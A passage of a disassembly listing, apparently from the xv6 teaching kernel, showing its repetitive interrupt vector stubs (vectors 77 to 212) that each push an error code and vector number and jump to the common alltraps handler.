<alltraps> 80105f6b <vector77>: .globl vector77 vector77: pushl $0 80105f6b: 6a 00 push $0x0 pushl $77 80105f6d: 6a 4d push $0x4d jmp alltraps 80105f6f: e9 ad f8 ff ff jmp 80105821 <alltraps> 80105f74 <vector78>: .globl vector78 vector78: pushl $0 80105f74: 6a 00 push $0x0 pushl $78 80105f76: 6a 4e push $0x4e jmp alltraps 80105f78: e9 a4 f8 ff ff jmp 80105821 <alltraps> 80105f7d <vector79>: .globl vector79 vector79: pushl $0 80105f7d: 6a 00 push $0x0 pushl $79 80105f7f: 6a 4f push $0x4f jmp alltraps 80105f81: e9 9b f8 ff ff jmp 80105821 <alltraps> 80105f86 <vector80>: .globl vector80 vector80: pushl $0 80105f86: 6a 00 push $0x0 pushl $80 80105f88: 6a 50 push $0x50 jmp alltraps 80105f8a: e9 92 f8 ff ff jmp 80105821 <alltraps> 80105f8f <vector81>: .globl vector81 vector81: pushl $0 80105f8f: 6a 00 push $0x0 pushl $81 80105f91: 6a 51 push $0x51 jmp alltraps 80105f93: e9 89 f8 ff ff jmp 80105821 <alltraps> 80105f98 <vector82>: .globl vector82 vector82: pushl $0 80105f98: 6a 00 push $0x0 pushl $82 80105f9a: 6a 52 push $0x52 jmp alltraps 80105f9c: e9 80 f8 ff ff jmp 80105821 <alltraps> 80105fa1 <vector83>: .globl vector83 vector83: pushl $0 80105fa1: 6a 00 push $0x0 pushl $83 80105fa3: 6a 53 push $0x53 jmp alltraps 80105fa5: e9 77 f8 ff ff jmp 80105821 <alltraps> 80105faa <vector84>: .globl vector84 vector84: pushl $0 80105faa: 6a 00 push $0x0 pushl $84 80105fac: 6a 54 push $0x54 jmp alltraps 80105fae: e9 6e f8 ff ff jmp 80105821 <alltraps> 80105fb3 <vector85>: .globl vector85 vector85: pushl $0 80105fb3: 6a 00 push $0x0 pushl $85 80105fb5: 6a 55 push $0x55 jmp alltraps 80105fb7: e9 65 f8 ff ff jmp 80105821 <alltraps> 80105fbc <vector86>: .globl vector86 vector86: pushl $0 80105fbc: 6a 00 push $0x0 pushl $86 80105fbe: 6a 56 push $0x56 jmp alltraps 80105fc0: e9 5c f8 ff ff jmp 80105821 <alltraps> 80105fc5 <vector87>: .globl vector87 vector87: pushl $0 80105fc5: 6a 00 push $0x0 pushl $87 80105fc7: 6a 57 push $0x57 jmp alltraps 80105fc9: e9 53 f8 ff ff jmp 80105821 <alltraps> 80105fce <vector88>: .globl vector88 vector88: pushl $0 80105fce: 6a 00 push $0x0 pushl $88 80105fd0: 6a 58 push $0x58 jmp alltraps 80105fd2: e9 4a f8 ff ff jmp 80105821 <alltraps> 80105fd7 <vector89>: .globl vector89 vector89: pushl $0 80105fd7: 6a 00 push $0x0 pushl $89 80105fd9: 6a 59 push $0x59 jmp alltraps 80105fdb: e9 41 f8 ff ff jmp 80105821 <alltraps> 80105fe0 <vector90>: .globl vector90 vector90: pushl $0 80105fe0: 6a 00 push $0x0 pushl $90 80105fe2: 6a 5a push $0x5a jmp alltraps 80105fe4: e9 38 f8 ff ff jmp 80105821 <alltraps> 80105fe9 <vector91>: .globl vector91 vector91: pushl $0 80105fe9: 6a 00 push $0x0 pushl $91 80105feb: 6a 5b push $0x5b jmp alltraps 80105fed: e9 2f f8 ff ff jmp 80105821 <alltraps> 80105ff2 <vector92>: .globl vector92 vector92: pushl $0 80105ff2: 6a 00 push $0x0 pushl $92 80105ff4: 6a 5c push $0x5c jmp alltraps 80105ff6: e9 26 f8 ff ff jmp 80105821 <alltraps> 80105ffb <vector93>: .globl vector93 vector93: pushl $0 80105ffb: 6a 00 push $0x0 pushl $93 80105ffd: 6a 5d push $0x5d jmp alltraps 80105fff: e9 1d f8 ff ff jmp 80105821 <alltraps> 80106004 <vector94>: .globl vector94 vector94: pushl $0 80106004: 6a 00 push $0x0 pushl $94 80106006: 6a 5e push $0x5e jmp alltraps 80106008: e9 14 f8 ff ff jmp 80105821 <alltraps> 8010600d <vector95>: .globl vector95 vector95: pushl $0 8010600d: 6a 00 push $0x0 pushl $95 8010600f: 6a 5f push $0x5f jmp alltraps 80106011: e9 0b f8 ff ff jmp 80105821 <alltraps> 80106016 <vector96>: .globl vector96 vector96: pushl $0 80106016: 6a 00 push $0x0 pushl $96 80106018: 6a 60 push $0x60 jmp alltraps 8010601a: e9 02 f8 ff ff jmp 80105821 <alltraps> 8010601f <vector97>: .globl vector97 vector97: pushl $0 8010601f: 6a 00 push $0x0 pushl $97 80106021: 6a 61 push $0x61 jmp alltraps 80106023: e9 f9 f7 ff ff jmp 80105821 <alltraps> 80106028 <vector98>: .globl vector98 vector98: pushl $0 80106028: 6a 00 push $0x0 pushl $98 8010602a: 6a 62 push $0x62 jmp alltraps 8010602c: e9 f0 f7 ff ff jmp 80105821 <alltraps> 80106031 <vector99>: .globl vector99 vector99: pushl $0 80106031: 6a 00 push $0x0 pushl $99 80106033: 6a 63 push $0x63 jmp alltraps 80106035: e9 e7 f7 ff ff jmp 80105821 <alltraps> 8010603a <vector100>: .globl vector100 vector100: pushl $0 8010603a: 6a 00 push $0x0 pushl $100 8010603c: 6a 64 push $0x64 jmp alltraps 8010603e: e9 de f7 ff ff jmp 80105821 <alltraps> 80106043 <vector101>: .globl vector101 vector101: pushl $0 80106043: 6a 00 push $0x0 pushl $101 80106045: 6a 65 push $0x65 jmp alltraps 80106047: e9 d5 f7 ff ff jmp 80105821 <alltraps> 8010604c <vector102>: .globl vector102 vector102: pushl $0 8010604c: 6a 00 push $0x0 pushl $102 8010604e: 6a 66 push $0x66 jmp alltraps 80106050: e9 cc f7 ff ff jmp 80105821 <alltraps> 80106055 <vector103>: .globl vector103 vector103: pushl $0 80106055: 6a 00 push $0x0 pushl $103 80106057: 6a 67 push $0x67 jmp alltraps 80106059: e9 c3 f7 ff ff jmp 80105821 <alltraps> 8010605e <vector104>: .globl vector104 vector104: pushl $0 8010605e: 6a 00 push $0x0 pushl $104 80106060: 6a 68 push $0x68 jmp alltraps 80106062: e9 ba f7 ff ff jmp 80105821 <alltraps> 80106067 <vector105>: .globl vector105 vector105: pushl $0 80106067: 6a 00 push $0x0 pushl $105 80106069: 6a 69 push $0x69 jmp alltraps 8010606b: e9 b1 f7 ff ff jmp 80105821 <alltraps> 80106070 <vector106>: .globl vector106 vector106: pushl $0 80106070: 6a 00 push $0x0 pushl $106 80106072: 6a 6a push $0x6a jmp alltraps 80106074: e9 a8 f7 ff ff jmp 80105821 <alltraps> 80106079 <vector107>: .globl vector107 vector107: pushl $0 80106079: 6a 00 push $0x0 pushl $107 8010607b: 6a 6b push $0x6b jmp alltraps 8010607d: e9 9f f7 ff ff jmp 80105821 <alltraps> 80106082 <vector108>: .globl vector108 vector108: pushl $0 80106082: 6a 00 push $0x0 pushl $108 80106084: 6a 6c push $0x6c jmp alltraps 80106086: e9 96 f7 ff ff jmp 80105821 <alltraps> 8010608b <vector109>: .globl vector109 vector109: pushl $0 8010608b: 6a 00 push $0x0 pushl $109 8010608d: 6a 6d push $0x6d jmp alltraps 8010608f: e9 8d f7 ff ff jmp 80105821 <alltraps> 80106094 <vector110>: .globl vector110 vector110: pushl $0 80106094: 6a 00 push $0x0 pushl $110 80106096: 6a 6e push $0x6e jmp alltraps 80106098: e9 84 f7 ff ff jmp 80105821 <alltraps> 8010609d <vector111>: .globl vector111 vector111: pushl $0 8010609d: 6a 00 push $0x0 pushl $111 8010609f: 6a 6f push $0x6f jmp alltraps 801060a1: e9 7b f7 ff ff jmp 80105821 <alltraps> 801060a6 <vector112>: .globl vector112 vector112: pushl $0 801060a6: 6a 00 push $0x0 pushl $112 801060a8: 6a 70 push $0x70 jmp alltraps 801060aa: e9 72 f7 ff ff jmp 80105821 <alltraps> 801060af <vector113>: .globl vector113 vector113: pushl $0 801060af: 6a 00 push $0x0 pushl $113 801060b1: 6a 71 push $0x71 jmp alltraps 801060b3: e9 69 f7 ff ff jmp 80105821 <alltraps> 801060b8 <vector114>: .globl vector114 vector114: pushl $0 801060b8: 6a 00 push $0x0 pushl $114 801060ba: 6a 72 push $0x72 jmp alltraps 801060bc: e9 60 f7 ff ff jmp 80105821 <alltraps> 801060c1 <vector115>: .globl vector115 vector115: pushl $0 801060c1: 6a 00 push $0x0 pushl $115 801060c3: 6a 73 push $0x73 jmp alltraps 801060c5: e9 57 f7 ff ff jmp 80105821 <alltraps> 801060ca <vector116>: .globl vector116 vector116: pushl $0 801060ca: 6a 00 push $0x0 pushl $116 801060cc: 6a 74 push $0x74 jmp alltraps 801060ce: e9 4e f7 ff ff jmp 80105821 <alltraps> 801060d3 <vector117>: .globl vector117 vector117: pushl $0 801060d3: 6a 00 push $0x0 pushl $117 801060d5: 6a 75 push $0x75 jmp alltraps 801060d7: e9 45 f7 ff ff jmp 80105821 <alltraps> 801060dc <vector118>: .globl vector118 vector118: pushl $0 801060dc: 6a 00 push $0x0 pushl $118 801060de: 6a 76 push $0x76 jmp alltraps 801060e0: e9 3c f7 ff ff jmp 80105821 <alltraps> 801060e5 <vector119>: .globl vector119 vector119: pushl $0 801060e5: 6a 00 push $0x0 pushl $119 801060e7: 6a 77 push $0x77 jmp alltraps 801060e9: e9 33 f7 ff ff jmp 80105821 <alltraps> 801060ee <vector120>: .globl vector120 vector120: pushl $0 801060ee: 6a 00 push $0x0 pushl $120 801060f0: 6a 78 push $0x78 jmp alltraps 801060f2: e9 2a f7 ff ff jmp 80105821 <alltraps> 801060f7 <vector121>: .globl vector121 vector121: pushl $0 801060f7: 6a 00 push $0x0 pushl $121 801060f9: 6a 79 push $0x79 jmp alltraps 801060fb: e9 21 f7 ff ff jmp 80105821 <alltraps> 80106100 <vector122>: .globl vector122 vector122: pushl $0 80106100: 6a 00 push $0x0 pushl $122 80106102: 6a 7a push $0x7a jmp alltraps 80106104: e9 18 f7 ff ff jmp 80105821 <alltraps> 80106109 <vector123>: .globl vector123 vector123: pushl $0 80106109: 6a 00 push $0x0 pushl $123 8010610b: 6a 7b push $0x7b jmp alltraps 8010610d: e9 0f f7 ff ff jmp 80105821 <alltraps> 80106112 <vector124>: .globl vector124 vector124: pushl $0 80106112: 6a 00 push $0x0 pushl $124 80106114: 6a 7c push $0x7c jmp alltraps 80106116: e9 06 f7 ff ff jmp 80105821 <alltraps> 8010611b <vector125>: .globl vector125 vector125: pushl $0 8010611b: 6a 00 push $0x0 pushl $125 8010611d: 6a 7d push $0x7d jmp alltraps 8010611f: e9 fd f6 ff ff jmp 80105821 <alltraps> 80106124 <vector126>: .globl vector126 vector126: pushl $0 80106124: 6a 00 push $0x0 pushl $126 80106126: 6a 7e push $0x7e jmp alltraps 80106128: e9 f4 f6 ff ff jmp 80105821 <alltraps> 8010612d <vector127>: .globl vector127 vector127: pushl $0 8010612d: 6a 00 push $0x0 pushl $127 8010612f: 6a 7f push $0x7f jmp alltraps 80106131: e9 eb f6 ff ff jmp 80105821 <alltraps> 80106136 <vector128>: .globl vector128 vector128: pushl $0 80106136: 6a 00 push $0x0 pushl $128 80106138: 68 80 00 00 00 push $0x80 jmp alltraps 8010613d: e9 df f6 ff ff jmp 80105821 <alltraps> 80106142 <vector129>: .globl vector129 vector129: pushl $0 80106142: 6a 00 push $0x0 pushl $129 80106144: 68 81 00 00 00 push $0x81 jmp alltraps 80106149: e9 d3 f6 ff ff jmp 80105821 <alltraps> 8010614e <vector130>: .globl vector130 vector130: pushl $0 8010614e: 6a 00 push $0x0 pushl $130 80106150: 68 82 00 00 00 push $0x82 jmp alltraps 80106155: e9 c7 f6 ff ff jmp 80105821 <alltraps> 8010615a <vector131>: .globl vector131 vector131: pushl $0 8010615a: 6a 00 push $0x0 pushl $131 8010615c: 68 83 00 00 00 push $0x83 jmp alltraps 80106161: e9 bb f6 ff ff jmp 80105821 <alltraps> 80106166 <vector132>: .globl vector132 vector132: pushl $0 80106166: 6a 00 push $0x0 pushl $132 80106168: 68 84 00 00 00 push $0x84 jmp alltraps 8010616d: e9 af f6 ff ff jmp 80105821 <alltraps> 80106172 <vector133>: .globl vector133 vector133: pushl $0 80106172: 6a 00 push $0x0 pushl $133 80106174: 68 85 00 00 00 push $0x85 jmp alltraps 80106179: e9 a3 f6 ff ff jmp 80105821 <alltraps> 8010617e <vector134>: .globl vector134 vector134: pushl $0 8010617e: 6a 00 push $0x0 pushl $134 80106180: 68 86 00 00 00 push $0x86 jmp alltraps 80106185: e9 97 f6 ff ff jmp 80105821 <alltraps> 8010618a <vector135>: .globl vector135 vector135: pushl $0 8010618a: 6a 00 push $0x0 pushl $135 8010618c: 68 87 00 00 00 push $0x87 jmp alltraps 80106191: e9 8b f6 ff ff jmp 80105821 <alltraps> 80106196 <vector136>: .globl vector136 vector136: pushl $0 80106196: 6a 00 push $0x0 pushl $136 80106198: 68 88 00 00 00 push $0x88 jmp alltraps 8010619d: e9 7f f6 ff ff jmp 80105821 <alltraps> 801061a2 <vector137>: .globl vector137 vector137: pushl $0 801061a2: 6a 00 push $0x0 pushl $137 801061a4: 68 89 00 00 00 push $0x89 jmp alltraps 801061a9: e9 73 f6 ff ff jmp 80105821 <alltraps> 801061ae <vector138>: .globl vector138 vector138: pushl $0 801061ae: 6a 00 push $0x0 pushl $138 801061b0: 68 8a 00 00 00 push $0x8a jmp alltraps 801061b5: e9 67 f6 ff ff jmp 80105821 <alltraps> 801061ba <vector139>: .globl vector139 vector139: pushl $0 801061ba: 6a 00 push $0x0 pushl $139 801061bc: 68 8b 00 00 00 push $0x8b jmp alltraps 801061c1: e9 5b f6 ff ff jmp 80105821 <alltraps> 801061c6 <vector140>: .globl vector140 vector140: pushl $0 801061c6: 6a 00 push $0x0 pushl $140 801061c8: 68 8c 00 00 00 push $0x8c jmp alltraps 801061cd: e9 4f f6 ff ff jmp 80105821 <alltraps> 801061d2 <vector141>: .globl vector141 vector141: pushl $0 801061d2: 6a 00 push $0x0 pushl $141 801061d4: 68 8d 00 00 00 push $0x8d jmp alltraps 801061d9: e9 43 f6 ff ff jmp 80105821 <alltraps> 801061de <vector142>: .globl vector142 vector142: pushl $0 801061de: 6a 00 push $0x0 pushl $142 801061e0: 68 8e 00 00 00 push $0x8e jmp alltraps 801061e5: e9 37 f6 ff ff jmp 80105821 <alltraps> 801061ea <vector143>: .globl vector143 vector143: pushl $0 801061ea: 6a 00 push $0x0 pushl $143 801061ec: 68 8f 00 00 00 push $0x8f jmp alltraps 801061f1: e9 2b f6 ff ff jmp 80105821 <alltraps> 801061f6 <vector144>: .globl vector144 vector144: pushl $0 801061f6: 6a 00 push $0x0 pushl $144 801061f8: 68 90 00 00 00 push $0x90 jmp alltraps 801061fd: e9 1f f6 ff ff jmp 80105821 <alltraps> 80106202 <vector145>: .globl vector145 vector145: pushl $0 80106202: 6a 00 push $0x0 pushl $145 80106204: 68 91 00 00 00 push $0x91 jmp alltraps 80106209: e9 13 f6 ff ff jmp 80105821 <alltraps> 8010620e <vector146>: .globl vector146 vector146: pushl $0 8010620e: 6a 00 push $0x0 pushl $146 80106210: 68 92 00 00 00 push $0x92 jmp alltraps 80106215: e9 07 f6 ff ff jmp 80105821 <alltraps> 8010621a <vector147>: .globl vector147 vector147: pushl $0 8010621a: 6a 00 push $0x0 pushl $147 8010621c: 68 93 00 00 00 push $0x93 jmp alltraps 80106221: e9 fb f5 ff ff jmp 80105821 <alltraps> 80106226 <vector148>: .globl vector148 vector148: pushl $0 80106226: 6a 00 push $0x0 pushl $148 80106228: 68 94 00 00 00 push $0x94 jmp alltraps 8010622d: e9 ef f5 ff ff jmp 80105821 <alltraps> 80106232 <vector149>: .globl vector149 vector149: pushl $0 80106232: 6a 00 push $0x0 pushl $149 80106234: 68 95 00 00 00 push $0x95 jmp alltraps 80106239: e9 e3 f5 ff ff jmp 80105821 <alltraps> 8010623e <vector150>: .globl vector150 vector150: pushl $0 8010623e: 6a 00 push $0x0 pushl $150 80106240: 68 96 00 00 00 push $0x96 jmp alltraps 80106245: e9 d7 f5 ff ff jmp 80105821 <alltraps> 8010624a <vector151>: .globl vector151 vector151: pushl $0 8010624a: 6a 00 push $0x0 pushl $151 8010624c: 68 97 00 00 00 push $0x97 jmp alltraps 80106251: e9 cb f5 ff ff jmp 80105821 <alltraps> 80106256 <vector152>: .globl vector152 vector152: pushl $0 80106256: 6a 00 push $0x0 pushl $152 80106258: 68 98 00 00 00 push $0x98 jmp alltraps 8010625d: e9 bf f5 ff ff jmp 80105821 <alltraps> 80106262 <vector153>: .globl vector153 vector153: pushl $0 80106262: 6a 00 push $0x0 pushl $153 80106264: 68 99 00 00 00 push $0x99 jmp alltraps 80106269: e9 b3 f5 ff ff jmp 80105821 <alltraps> 8010626e <vector154>: .globl vector154 vector154: pushl $0 8010626e: 6a 00 push $0x0 pushl $154 80106270: 68 9a 00 00 00 push $0x9a jmp alltraps 80106275: e9 a7 f5 ff ff jmp 80105821 <alltraps> 8010627a <vector155>: .globl vector155 vector155: pushl $0 8010627a: 6a 00 push $0x0 pushl $155 8010627c: 68 9b 00 00 00 push $0x9b jmp alltraps 80106281: e9 9b f5 ff ff jmp 80105821 <alltraps> 80106286 <vector156>: .globl vector156 vector156: pushl $0 80106286: 6a 00 push $0x0 pushl $156 80106288: 68 9c 00 00 00 push $0x9c jmp alltraps 8010628d: e9 8f f5 ff ff jmp 80105821 <alltraps> 80106292 <vector157>: .globl vector157 vector157: pushl $0 80106292: 6a 00 push $0x0 pushl $157 80106294: 68 9d 00 00 00 push $0x9d jmp alltraps 80106299: e9 83 f5 ff ff jmp 80105821 <alltraps> 8010629e <vector158>: .globl vector158 vector158: pushl $0 8010629e: 6a 00 push $0x0 pushl $158 801062a0: 68 9e 00 00 00 push $0x9e jmp alltraps 801062a5: e9 77 f5 ff ff jmp 80105821 <alltraps> 801062aa <vector159>: .globl vector159 vector159: pushl $0 801062aa: 6a 00 push $0x0 pushl $159 801062ac: 68 9f 00 00 00 push $0x9f jmp alltraps 801062b1: e9 6b f5 ff ff jmp 80105821 <alltraps> 801062b6 <vector160>: .globl vector160 vector160: pushl $0 801062b6: 6a 00 push $0x0 pushl $160 801062b8: 68 a0 00 00 00 push $0xa0 jmp alltraps 801062bd: e9 5f f5 ff ff jmp 80105821 <alltraps> 801062c2 <vector161>: .globl vector161 vector161: pushl $0 801062c2: 6a 00 push $0x0 pushl $161 801062c4: 68 a1 00 00 00 push $0xa1 jmp alltraps 801062c9: e9 53 f5 ff ff jmp 80105821 <alltraps> 801062ce <vector162>: .globl vector162 vector162: pushl $0 801062ce: 6a 00 push $0x0 pushl $162 801062d0: 68 a2 00 00 00 push $0xa2 jmp alltraps 801062d5: e9 47 f5 ff ff jmp 80105821 <alltraps> 801062da <vector163>: .globl vector163 vector163: pushl $0 801062da: 6a 00 push $0x0 pushl $163 801062dc: 68 a3 00 00 00 push $0xa3 jmp alltraps 801062e1: e9 3b f5 ff ff jmp 80105821 <alltraps> 801062e6 <vector164>: .globl vector164 vector164: pushl $0 801062e6: 6a 00 push $0x0 pushl $164 801062e8: 68 a4 00 00 00 push $0xa4 jmp alltraps 801062ed: e9 2f f5 ff ff jmp 80105821 <alltraps> 801062f2 <vector165>: .globl vector165 vector165: pushl $0 801062f2: 6a 00 push $0x0 pushl $165 801062f4: 68 a5 00 00 00 push $0xa5 jmp alltraps 801062f9: e9 23 f5 ff ff jmp 80105821 <alltraps> 801062fe <vector166>: .globl vector166 vector166: pushl $0 801062fe: 6a 00 push $0x0 pushl $166 80106300: 68 a6 00 00 00 push $0xa6 jmp alltraps 80106305: e9 17 f5 ff ff jmp 80105821 <alltraps> 8010630a <vector167>: .globl vector167 vector167: pushl $0 8010630a: 6a 00 push $0x0 pushl $167 8010630c: 68 a7 00 00 00 push $0xa7 jmp alltraps 80106311: e9 0b f5 ff ff jmp 80105821 <alltraps> 80106316 <vector168>: .globl vector168 vector168: pushl $0 80106316: 6a 00 push $0x0 pushl $168 80106318: 68 a8 00 00 00 push $0xa8 jmp alltraps 8010631d: e9 ff f4 ff ff jmp 80105821 <alltraps> 80106322 <vector169>: .globl vector169 vector169: pushl $0 80106322: 6a 00 push $0x0 pushl $169 80106324: 68 a9 00 00 00 push $0xa9 jmp alltraps 80106329: e9 f3 f4 ff ff jmp 80105821 <alltraps> 8010632e <vector170>: .globl vector170 vector170: pushl $0 8010632e: 6a 00 push $0x0 pushl $170 80106330: 68 aa 00 00 00 push $0xaa jmp alltraps 80106335: e9 e7 f4 ff ff jmp 80105821 <alltraps> 8010633a <vector171>: .globl vector171 vector171: pushl $0 8010633a: 6a 00 push $0x0 pushl $171 8010633c: 68 ab 00 00 00 push $0xab jmp alltraps 80106341: e9 db f4 ff ff jmp 80105821 <alltraps> 80106346 <vector172>: .globl vector172 vector172: pushl $0 80106346: 6a 00 push $0x0 pushl $172 80106348: 68 ac 00 00 00 push $0xac jmp alltraps 8010634d: e9 cf f4 ff ff jmp 80105821 <alltraps> 80106352 <vector173>: .globl vector173 vector173: pushl $0 80106352: 6a 00 push $0x0 pushl $173 80106354: 68 ad 00 00 00 push $0xad jmp alltraps 80106359: e9 c3 f4 ff ff jmp 80105821 <alltraps> 8010635e <vector174>: .globl vector174 vector174: pushl $0 8010635e: 6a 00 push $0x0 pushl $174 80106360: 68 ae 00 00 00 push $0xae jmp alltraps 80106365: e9 b7 f4 ff ff jmp 80105821 <alltraps> 8010636a <vector175>: .globl vector175 vector175: pushl $0 8010636a: 6a 00 push $0x0 pushl $175 8010636c: 68 af 00 00 00 push $0xaf jmp alltraps 80106371: e9 ab f4 ff ff jmp 80105821 <alltraps> 80106376 <vector176>: .globl vector176 vector176: pushl $0 80106376: 6a 00 push $0x0 pushl $176 80106378: 68 b0 00 00 00 push $0xb0 jmp alltraps 8010637d: e9 9f f4 ff ff jmp 80105821 <alltraps> 80106382 <vector177>: .globl vector177 vector177: pushl $0 80106382: 6a 00 push $0x0 pushl $177 80106384: 68 b1 00 00 00 push $0xb1 jmp alltraps 80106389: e9 93 f4 ff ff jmp 80105821 <alltraps> 8010638e <vector178>: .globl vector178 vector178: pushl $0 8010638e: 6a 00 push $0x0 pushl $178 80106390: 68 b2 00 00 00 push $0xb2 jmp alltraps 80106395: e9 87 f4 ff ff jmp 80105821 <alltraps> 8010639a <vector179>: .globl vector179 vector179: pushl $0 8010639a: 6a 00 push $0x0 pushl $179 8010639c: 68 b3 00 00 00 push $0xb3 jmp alltraps 801063a1: e9 7b f4 ff ff jmp 80105821 <alltraps> 801063a6 <vector180>: .globl vector180 vector180: pushl $0 801063a6: 6a 00 push $0x0 pushl $180 801063a8: 68 b4 00 00 00 push $0xb4 jmp alltraps 801063ad: e9 6f f4 ff ff jmp 80105821 <alltraps> 801063b2 <vector181>: .globl vector181 vector181: pushl $0 801063b2: 6a 00 push $0x0 pushl $181 801063b4: 68 b5 00 00 00 push $0xb5 jmp alltraps 801063b9: e9 63 f4 ff ff jmp 80105821 <alltraps> 801063be <vector182>: .globl vector182 vector182: pushl $0 801063be: 6a 00 push $0x0 pushl $182 801063c0: 68 b6 00 00 00 push $0xb6 jmp alltraps 801063c5: e9 57 f4 ff ff jmp 80105821 <alltraps> 801063ca <vector183>: .globl vector183 vector183: pushl $0 801063ca: 6a 00 push $0x0 pushl $183 801063cc: 68 b7 00 00 00 push $0xb7 jmp alltraps 801063d1: e9 4b f4 ff ff jmp 80105821 <alltraps> 801063d6 <vector184>: .globl vector184 vector184: pushl $0 801063d6: 6a 00 push $0x0 pushl $184 801063d8: 68 b8 00 00 00 push $0xb8 jmp alltraps 801063dd: e9 3f f4 ff ff jmp 80105821 <alltraps> 801063e2 <vector185>: .globl vector185 vector185: pushl $0 801063e2: 6a 00 push $0x0 pushl $185 801063e4: 68 b9 00 00 00 push $0xb9 jmp alltraps 801063e9: e9 33 f4 ff ff jmp 80105821 <alltraps> 801063ee <vector186>: .globl vector186 vector186: pushl $0 801063ee: 6a 00 push $0x0 pushl $186 801063f0: 68 ba 00 00 00 push $0xba jmp alltraps 801063f5: e9 27 f4 ff ff jmp 80105821 <alltraps> 801063fa <vector187>: .globl vector187 vector187: pushl $0 801063fa: 6a 00 push $0x0 pushl $187 801063fc: 68 bb 00 00 00 push $0xbb jmp alltraps 80106401: e9 1b f4 ff ff jmp 80105821 <alltraps> 80106406 <vector188>: .globl vector188 vector188: pushl $0 80106406: 6a 00 push $0x0 pushl $188 80106408: 68 bc 00 00 00 push $0xbc jmp alltraps 8010640d: e9 0f f4 ff ff jmp 80105821 <alltraps> 80106412 <vector189>: .globl vector189 vector189: pushl $0 80106412: 6a 00 push $0x0 pushl $189 80106414: 68 bd 00 00 00 push $0xbd jmp alltraps 80106419: e9 03 f4 ff ff jmp 80105821 <alltraps> 8010641e <vector190>: .globl vector190 vector190: pushl $0 8010641e: 6a 00 push $0x0 pushl $190 80106420: 68 be 00 00 00 push $0xbe jmp alltraps 80106425: e9 f7 f3 ff ff jmp 80105821 <alltraps> 8010642a <vector191>: .globl vector191 vector191: pushl $0 8010642a: 6a 00 push $0x0 pushl $191 8010642c: 68 bf 00 00 00 push $0xbf jmp alltraps 80106431: e9 eb f3 ff ff jmp 80105821 <alltraps> 80106436 <vector192>: .globl vector192 vector192: pushl $0 80106436: 6a 00 push $0x0 pushl $192 80106438: 68 c0 00 00 00 push $0xc0 jmp alltraps 8010643d: e9 df f3 ff ff jmp 80105821 <alltraps> 80106442 <vector193>: .globl vector193 vector193: pushl $0 80106442: 6a 00 push $0x0 pushl $193 80106444: 68 c1 00 00 00 push $0xc1 jmp alltraps 80106449: e9 d3 f3 ff ff jmp 80105821 <alltraps> 8010644e <vector194>: .globl vector194 vector194: pushl $0 8010644e: 6a 00 push $0x0 pushl $194 80106450: 68 c2 00 00 00 push $0xc2 jmp alltraps 80106455: e9 c7 f3 ff ff jmp 80105821 <alltraps> 8010645a <vector195>: .globl vector195 vector195: pushl $0 8010645a: 6a 00 push $0x0 pushl $195 8010645c: 68 c3 00 00 00 push $0xc3 jmp alltraps 80106461: e9 bb f3 ff ff jmp 80105821 <alltraps> 80106466 <vector196>: .globl vector196 vector196: pushl $0 80106466: 6a 00 push $0x0 pushl $196 80106468: 68 c4 00 00 00 push $0xc4 jmp alltraps 8010646d: e9 af f3 ff ff jmp 80105821 <alltraps> 80106472 <vector197>: .globl vector197 vector197: pushl $0 80106472: 6a 00 push $0x0 pushl $197 80106474: 68 c5 00 00 00 push $0xc5 jmp alltraps 80106479: e9 a3 f3 ff ff jmp 80105821 <alltraps> 8010647e <vector198>: .globl vector198 vector198: pushl $0 8010647e: 6a 00 push $0x0 pushl $198 80106480: 68 c6 00 00 00 push $0xc6 jmp alltraps 80106485: e9 97 f3 ff ff jmp 80105821 <alltraps> 8010648a <vector199>: .globl vector199 vector199: pushl $0 8010648a: 6a 00 push $0x0 pushl $199 8010648c: 68 c7 00 00 00 push $0xc7 jmp alltraps 80106491: e9 8b f3 ff ff jmp 80105821 <alltraps> 80106496 <vector200>: .globl vector200 vector200: pushl $0 80106496: 6a 00 push $0x0 pushl $200 80106498: 68 c8 00 00 00 push $0xc8 jmp alltraps 8010649d: e9 7f f3 ff ff jmp 80105821 <alltraps> 801064a2 <vector201>: .globl vector201 vector201: pushl $0 801064a2: 6a 00 push $0x0 pushl $201 801064a4: 68 c9 00 00 00 push $0xc9 jmp alltraps 801064a9: e9 73 f3 ff ff jmp 80105821 <alltraps> 801064ae <vector202>: .globl vector202 vector202: pushl $0 801064ae: 6a 00 push $0x0 pushl $202 801064b0: 68 ca 00 00 00 push $0xca jmp alltraps 801064b5: e9 67 f3 ff ff jmp 80105821 <alltraps> 801064ba <vector203>: .globl vector203 vector203: pushl $0 801064ba: 6a 00 push $0x0 pushl $203 801064bc: 68 cb 00 00 00 push $0xcb jmp alltraps 801064c1: e9 5b f3 ff ff jmp 80105821 <alltraps> 801064c6 <vector204>: .globl vector204 vector204: pushl $0 801064c6: 6a 00 push $0x0 pushl $204 801064c8: 68 cc 00 00 00 push $0xcc jmp alltraps 801064cd: e9 4f f3 ff ff jmp 80105821 <alltraps> 801064d2 <vector205>: .globl vector205 vector205: pushl $0 801064d2: 6a 00 push $0x0 pushl $205 801064d4: 68 cd 00 00 00 push $0xcd jmp alltraps 801064d9: e9 43 f3 ff ff jmp 80105821 <alltraps> 801064de <vector206>: .globl vector206 vector206: pushl $0 801064de: 6a 00 push $0x0 pushl $206 801064e0: 68 ce 00 00 00 push $0xce jmp alltraps 801064e5: e9 37 f3 ff ff jmp 80105821 <alltraps> 801064ea <vector207>: .globl vector207 vector207: pushl $0 801064ea: 6a 00 push $0x0 pushl $207 801064ec: 68 cf 00 00 00 push $0xcf jmp alltraps 801064f1: e9 2b f3 ff ff jmp 80105821 <alltraps> 801064f6 <vector208>: .globl vector208 vector208: pushl $0 801064f6: 6a 00 push $0x0 pushl $208 801064f8: 68 d0 00 00 00 push $0xd0 jmp alltraps 801064fd: e9 1f f3 ff ff jmp 80105821 <alltraps> 80106502 <vector209>: .globl vector209 vector209: pushl $0 80106502: 6a 00 push $0x0 pushl $209 80106504: 68 d1 00 00 00 push $0xd1 jmp alltraps 80106509: e9 13 f3 ff ff jmp 80105821 <alltraps> 8010650e <vector210>: .globl vector210 vector210: pushl $0 8010650e: 6a 00 push $0x0 pushl $210 80106510: 68 d2 00 00 00 push $0xd2 jmp alltraps 80106515: e9 07 f3 ff ff jmp 80105821 <alltraps> 8010651a <vector211>: .globl vector211 vector211: pushl $0 8010651a: 6a 00 push $0x0 pushl $211 8010651c: 68 d3 00 00 00 push $0xd3 jmp alltraps 80106521: e9 fb f2 ff ff jmp 80105821 <alltraps> 80106526 <vector212>: .globl vector212 vector212: pushl $0 80106526: 6a 00 push $0x0 pushl $212 80106528: 68 d4 00 00 00 push $0xd4 jmp alltraps 8010652d: e9 ef f2 ff ff jmp 